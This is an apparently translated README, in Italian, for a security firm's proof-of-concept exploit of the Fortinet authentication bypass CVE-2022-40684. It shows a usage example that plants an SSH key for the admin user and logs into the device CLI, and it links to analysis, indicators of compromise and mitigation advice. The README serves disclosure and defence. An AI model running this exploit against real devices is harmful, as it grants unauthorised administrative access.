CVE-2022-40684

POC per CVE-2022-40684 che interessa i dispositivi Fortinet FortiOS, FortiProxy e FortiSwitchManager.

Analisi Tecnica

Un'analisi tecnica approfondita della causa principale della vulnerabilità è disponibile sul nostro blog: https://www.horizon3.ai/fortios-fortiproxy-and-fortiswitchmanager-authentication-bypass-technical-deep-dive-cve-2022-40684

Indicatori di Compromissione

Per analizzare i log Fortinet alla ricerca di indicatori di compromissione e per sapere come abilitare log più approfonditi, consulta il nostro blog sugli IOC: https://www.horizon3.ai/fortinet-iocs-cve-2022-40684/

Riepilogo

Questo POC sfrutta la vulnerabilità di bypass dell'autenticazione per impostare una chiave SSH per l'utente specificato.

Utilizzo

root@kali:~# python3 CVE-2022-40684.py -t 10.0.40.67 --username admin --key-file ~/.ssh/id_rsa.pub
[+] SSH key for admin added successfully!
root@kali:~# ssh [email protected]
fortios_7_2_1 # 
config      Configure object.
get         Get dynamic and system information.
show        Show configuration.
diagnose    Diagnose facility.
execute     Execute static commands.
alias       Execute alias commands.
exit        Exit the CLI.

Mitigazioni

Aggiorna all'ultima versione o mitiga seguendo le istruzioni riportate nel PSIRT di Fortinet

• https://www.fortiguard.com/psirt/FG-IR-22-377

Segui l'Horizon3.ai Attack Team su Twitter per le ultime ricerche di sicurezza:

• Horizon3 Attack Team
• James Horseman
• Zach Hanley

Disclaimer

Questo software è stato creato esclusivamente a scopo di ricerca accademica e per lo sviluppo di efficaci tecniche difensive, e non è inteso per attaccare sistemi se non esplicitamente autorizzati. I maintainer del progetto non sono responsabili dell'uso improprio del software. Usalo in modo responsabile.